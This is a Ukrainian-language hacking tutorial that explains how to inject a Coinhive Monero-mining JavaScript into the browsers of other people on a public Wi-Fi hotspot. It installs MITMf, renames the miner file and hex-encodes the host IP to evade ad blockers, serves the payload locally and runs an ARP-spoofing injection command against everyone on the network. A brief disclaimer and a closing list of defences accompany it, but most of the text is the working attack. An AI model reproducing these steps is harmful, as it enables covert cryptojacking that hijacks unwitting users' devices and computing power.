Впровадження Майнера Coinhive через публічні Wi-Fi hotspot-

Автор: tokyoneon

Coinhive є майнер криптовалюта, написаний на JavaScript. Цей скрипт імовірно був виявлений на сайті BlackBerry Mobile . Хакери використовували вразливість у додатку, призначеному для електронної торгівлі, що дозволяло здійснювати анонімний Майнінг криптовалюта при кожному перегляді сайту. Поза всяким сумнівом, Coinhive - інноваційний метод Майніг, яким користуються хакери в «дикій природі».

Як працює Coinhive

У Coinhive реалізовані легітимні методи Майнінг криптовалюта, які адміністратори та оператори можуть впровадити в свій веб-сайти. При відвідуванні сайтів, на яких розміщений Coinhive, JavaScript запускає Майнінг криптовалюта в браузері в фоновому режимі з використанням процесорів комп'ютерів користувачів.

Цей інструмент був створений в якості альтернативи заробітку за допомогою некрасивих банерів, які займають частину сторінок сайту і можуть бути легко видалені блокувальниками реклами. Coinhive призначений для Майнінг криптовалюта Monero (XMR), яка, на момент написання статті, була в 35 разів дешевше біткоіни, проте знаходиться в ТОП 10 найбільш цінних криптовалюта , Який формується на базі ціни за одну монету.

Coinhive - цілком легітимний інструмент, проте недавні події показали, як легко хакери можуть зловживати технологіями Майнінг на базі JavaScript.

Випадок з BlackBerry - один з багатьох інцидентів, коли хакери і інтернет провайдери використовують Coinhive у шкідливих цілях. В жовтні фахівці компанії TrendMicro виявили кілька додатків в Google Play Store, що використовують технологію Coinhive для непомітного Майнінг криптовалюта після установки Android-додатки. Крім того, повідомлялося про Майнер Coinhive, які інтернет провайдер впровадив на сайті Starbucks .

Методи експлуатації Coinhive

Існує кілька GitHub-проектів (наприклад, CoffeeMiner ), Призначених для реалізації атак типу «людина посередині» (MITM-атаки) і впровадження Майнер Coinhive в браузери, підключені до публічних Wi-Fi хотспотів. З власного досвіду скажу, що реалізовувати MITM-атаки простіше за допомогою інструментів на кшталт Man-in-the-Middle Framework (MITMf), оскільки ті ж самі результати можна отримати в рази швидше.

У нашому прикладі ми будемо використовувати MITMf для інжектування Майнера Coinhive в браузери, які перебувають з нами в одній Wi-Fi мережі. Ми будемо впроваджувати JavaScript-Майнер в веб-сторінки в той момент, коли відвідувачі кав'ярні користуються інтернетом.

Спочатку слід згадати, що сервіс Coinhive блокує акаунти в разі, якщо JavaScript-майнер використовується в неправомірних цілях . Рекомендую користуватися цією настановою тільки в освітніх цілях, і не займатися впровадженням в хотспоти, якими ви не володієте.

Крок 1: Установка MITMf

Я буду встановлюватися MITMf в Kali Linux за допомогою утиліти apt-get. У терміналі введіть команду, показану нижче. Якщо ви віддаєте перевагу складання з вихідних текстів, можете скористатися цим керівництвом або інструкціями по установці .

sudo apt-get install mitmf

Після установки ніяких додаткових налаштувань не потрібно, і ми переходимо до створення облікового запису на сайті Coinhive.

Крок 2: Створення облікового запису

Після установки MitMF переходимо на сторінку реєстрації для створення облікового запису. Якісь особливі вимоги для створення облікового запису в сервісі Coinhive відсутні, і кожен може зареєструватися протягом декількох секунд.

Потім потрібно перевірити електронну пошту, клікнути по надісланим лінком для завершення процесу реєстрації та залогінитися в новому акаунті. Нам знадобиться індивідуальний ключ, який розміщується на сайті, де передбачається використання JavaScript-Майнер. Хоча ми будемо використовувати Coinhive нетрадиційним способом, і нам знадобиться тільки ключ.

Ключ знаходиться на сторінці « Sites & API Keys ». Нам знадобиться вміст поля Site Key (public).

Малюнок 1: Список ключів
Малюнок 1: Список ключів

Кожен, хто користується блокувальниками реклами типу uBlock Origin , Спостерігатимуть сторінки, де вбудований майнер Coinhive, в не дуже гарному вигляді, оскільки, наприклад, в uBlock Origin, найпопулярнішому блокувальник, на даний момент домен coinhive.com знаходиться в чорному списку. Поза всяким сумнівом, блокування пов'язана з тим, що хакери використовують Coinhive в зловмисних цілях.

Оскільки існує проблема, пов'язана з блокувальниками реклами, нам потрібно зробити додаткові кроки, щоб запобігти блокуванню Майнера в браузерах жертв. Більшість блокувальників будуть фільтрувати домен coinhive.com і йому подібні, і щоб такого не відбувалося, потрібно виконати обфускація імені домена і JavaScript-файлу.

Крок 3: Обхід блокувальників реклами

Спочатку зайдемо в розділ з документацією, щоб ознайомитися зі скриптом, який буде інжектовані в браузери жертв. Нижче показаний JavaScript-майнер в самій найпростіших формі.

<Script src = " https://coinhive.com/lib/coinhive.min.js "> </ Script>
<Script>
var miner = new CoinHive.Anonymous ( 'YOUR-SITE-KEY-HERE');
miner.start ();
</ Script>

У першому рядку ( «script src») відбувається завантаження файлу .js з сайту Coinhive. У рядку «var miner» відбувається прив'язка аккаунта, і вказується ключ, який ми скопіювали в попередньому кроці. Функція miner.start () запускає Майнінг. Якщо ми хочемо обійти фільтри блокувальників реклами, потрібно змінити ім'я домену coinhive.com і .js файлу.

Слід зазначити, що кроки 4 і 5 не є панацеєю і не зможуть захистити вас від усіх блокувальників внаслідок того, що майнер повинен відправляти результати своєї на сервер (а інакше Майнінг не має сенсу). Оскільки в вихідному коді жорстко прописаний адресу сервера, проти блокувальників, фільтруючих на рівні DNS, наш метод не спрацює. Можливий лише обхід додатків, які блокують HTML-теги.

Крок 4: Перейменування JavaScript-файлу

Спочатку створимо тимчасову директорію, де буде зберігатися файл Майнера. За допомогою команди mkdir створіть папку coinhive-js в директорії / tmp. Потім, використовуючи команду cd, перейдіть в нову директорію.

mkdir / tmp / coinhive-js
cd / tmp / coinhive-js

Далі завантажте файл coinhive.min.js , Який ми будемо инжектировать в браузери жертв. В Unix-подібних системах в терміналі можна ввести наступну команду:

wget https://coinhive.com/lib/coinhive.min.js

В якості нового імені задамо рядок з випадкових символів, яка навряд чи виявиться в базі даних блокувальника. для генерації випадкової рядки введіть в терміналі наступну команду:

openssl rand -hex 16

Число 16 говорить про те, що буде згенеровано рядок розміром 16 символів (якщо потрібно більше, збільште це значення). Потім перейменовуємо файл «coinhive.min.js» за допомогою команди mv:

mv coinhive.min.js random-string-here.js

У демонстраційному прикладі я вводив випадкові символи з клавіатури.

Малюнок 2: Перейменування і завантаження JavaScript-файлу
Малюнок 2: Перейменування і завантаження JavaScript-файлу

Нарешті, нам потрібно зробити так, щоб файл був доступний для завантаження у жертви, що знаходиться з нами в одній Wi-Fi мережі. Для вирішення цього завдання скористаємося простою командою:

python3 -m http.server 80

http.server є модуль HTTP-сервера в Python3, який ми активуємо за допомогою аргументу -m (80 - номер порту, на якому працює сервер). Щоб перевірити працездатність сервера, в браузері вводимо адресу http://127.0.0.1:80 . 127.0.0.1 - локальну адресу нашого комп'ютера. Саме цю адресу часто використовується різними службами (наприклад, HTTP-сервером), які працюють на нашому комп'ютері.

Малюнок 3: Вміст кореневої директорії HTTP-сервера
Малюнок 3: Вміст кореневої директорії HTTP-сервера

Крок 5: Обфускація URL

Після підготовки файлу поговоримо про обфускаціі URL за допомогою шістнадцятирічного кодування . Щоб обійти фільтри блокувальників, ми будемо кодувати наш локальний IP-адресу. Наприклад, адреса http: // 0xC0A80001 еквівалентний адресою http://192.168.0.1 . Браузери в стані розуміти і інтерпретувати шістнадцятиричні рядки як звичайний текст.

Найпростіший спосіб - скористатися online-утилітами для перетворення IP-адрес в шістнадцяткові рядки. Спочатку, визначте IP-адреса за допомогою команди ifconfig:

ifconfig wlan0

Ваш локальний IP-адреса швидше за все буде виглядати якось так 192.168.0.2 або так 192.168.1.10. Потім введіть отриманий IP-адреса в конвертере для обчислення шістнадцятирічного еквівалента.

Тепер збираємо готовий скрипт. Нижче показана нова версія з шістнадцятковим IP-адресою і зміненим ім'ям файлу.

<Script src = "http: //0x0A989811/ghfldghfsdhglfsdhgfd.js"> </ script>
<Script>
var miner = new CoinHive.Anonymous ( 'YOUR-SITE-KEY-HERE');
miner.start ();
</ Script>

Збережемо цей код в окремому локальному файлі, який далі ми будемо инжектировать в браузери жертв за допомогою MITMf. Для збереження JavaScript-коду ви можете або скористатися улюбленим текстовим редактором, або за допомогою такої команди:

nano /tmp/coinhive-js/miner.js

Код, показаний вище, ми будемо зберігати в директорії coinhive-js в файлі miner.js. Натисніть Ctrl + X для виходу з nano, введіть Y і натисніть Enter для збереження файлу.

Малюнок 4: Вміст файлу miner
Малюнок 4: Вміст файлу miner.js

Крок 6: інжектування Майнера в браузери

На даний момент у нас встановлений MITMf, зареєстрований новий акаунт в сервісі Coinhive і створена обфусцірованная корисне навантаження для обходу фільтрів блокувальників. Тепер збираємо все воєдино.
Щоб скористатися MitMF, запускаємо команду нижче:

mitmf -i wlan0 --inject --js-file /tmp/coinhive-js/miner.js --arp --spoof --gateway 192.168.0.1

Параметр -i вказує MITMf, на який інтерфейс буде здійснюватися атака. У Kali Linux бездротової інтерфейс, яка буде використовуватися під - wlan0. В якості адреси шлюзу використовується локальний IP-адреса Wi-Fi роутера (192.168.0.1). Щоб знайти локальний IP-адресу вашого роутера, в терміналі введіть команду route -n. У колонці «Gateway» повинен бути IP-адреса на зразок «192.168.XX».

Малюнок 5: Запуск MitMf
Малюнок 5: Запуск MitMf

Після запуску команди вище, в веб-сторінки, що переглядаються в браузерах всіх пристроїв, підключених до Wi-Fi мережі, буде інжектовані корисне навантаження. При кожному інжектування в терміналі буде з'являтися наступне повідомлення «Injected JS file: example.com».

Малюнок 6: Поява події, пов'язаного з інжектування JavaScript-файлу (виділено червоним)
Малюнок 6: Поява події, пов'язаного з інжектування JavaScript-файлу (виділено червоним)

З малюнка вище видно, що жертва використовує браузер Google Chrome і операційну систему Windows. Інжектірованіе в браузер відбулося при відвідуванні сайту stackoverflow.com, після чого негайно починається Майнінг криптовалюта Monero. Майнінг триватиме до тих пір, поки вкладка з сайтом stackoverflow.com не буде закрита.

Якщо подивитися вміст сторінки, що переглядається жертвою, то можна побачити, що корисне навантаження була інжектовані в нижню частину і без відома жертви.

Малюнок 7: Вміст сторінки із запровадженою корисним навантаженням
Малюнок 7: Вміст сторінки із запровадженою корисним навантаженням

Жоден з трьох найбільш популярних блокувальника реклами, встановлених мною з Chrome Web Store, не зміг виявити шкідливу активність.

Після інжектування Майнера в браузер жертви, можна зупинити атаку і відключити MITMf. Майнінг триватиме. Якщо жертва піде з кав'ярні з відкритою вкладкою, Майнінг відновиться при наступному підключенні до будь-якої Wi-Fi мережі. Майнер Coinhive буде працювати до тих пір, поки жертва не закриє інфіковану вкладку або браузер.

Як захиститися від JavaScript-Майнер

Як ви могли переконатися, блокувальники реклами не є настільки ефективним при протидії JavaScript-Майнер. Трохи кмітливості і майнер виявляється впровадженим у веб-сторінки, які ви переглядаєте в браузері.

  • Найкращий спосіб захисту від шкідливого коду - повне відключення JavaScript в браузері. Включайте JavaScrtipt тільки в разі крайньої необхідності. Багато професіоналів з безпеки рекомендують розширення NoScript , Як найбільш зручний засіб включення / вимикання JavaScript при необхідності.
  • У браузері Opera є функція « NoCoin », Що блокує скрипти, призначені для Майнінг. Крім того, існує інші розширення для браузера , Що виконують схожі функції.
  • Якщо ви не хочете блокувати JavaScript, можна здійснювати моніторинг частоти використання процесора на предмет підозрілих піків активності, які можуть свідчити про фоновому Майнінг. В ОС Window активність процесора можна відстежувати через Диспетчер завдань (Task Manager), в macOS - через Моніторинг системи (Activity Monitor).
  • Перевіряйте адресний рядок браузера. Якщо сайт підтримує протокол HTTPS (в кутку відображається замок), значить, ви захищені від атаки типу «людина посередині». Багато сайтів додаються в список HSTS preload list . У цьому випадку навіть якщо під час MITM-атаки буде спроба видалити HSTS-заголовки і використовувати протокол HTTP замість HTTPS, браузер не буде дотримуватися цих інструкцій, оскільки домен жорстко прописаний на роботу тільки через HTTPS. Перевірити наявність домена в цьому списку можна через online-сервіс .
  • Ще один спосіб захисту від MITM-атак в публічних мережах - використання віртуальної приватної мережі (VPN). Навіть незважаючи на те, що VPN не зможе заблокувати скрипт Майнера, що працює на стороні сервера, але зможе захистити від MITM-атаки в конкретній точці доступу.
  • Використовуйте блокувальники реклами, які не тільки фільтрують HTML-теги, але і вміють працювати на DNS-рівні. У цьому випадку також немає гарантій, що майнер буде заблокований, але, по крайней мере, зловмисники не зможуть отримати зароблене.

Наскільки прибутковим є JavaScript-Майнінг?

Всіх, хто цікавиться питаннями прибутковості Майнера Coinhive, відсилають до статті Максенса Корнета , Де докладно розглядається це питання. Максенс на кілька днів підключав Coinhive на своєму сайті з щоденної відвідуваністю в 1000 чоловік і отримав наступні результати: за 60 годин було зароблено 0.00947 XMR або 0.89 $ (виходить 0.36 $ в день).

Прямо скажемо, результати не дуже вражаючі, проте, поза всяким сумнівом, Майнінг за допомогою Coinhive стає все більш полярним особливо серед тих, хто намагається знайти нові способи незаконного збагачення. Можливо, на не дуже відвідуваних сайтах доходи будуть невеликими, однак уявіть, що буде, якщо розмітити майнер в Facebook або Google. І подібне цілком може статися.

Питання і коментарі як завжди вітаються.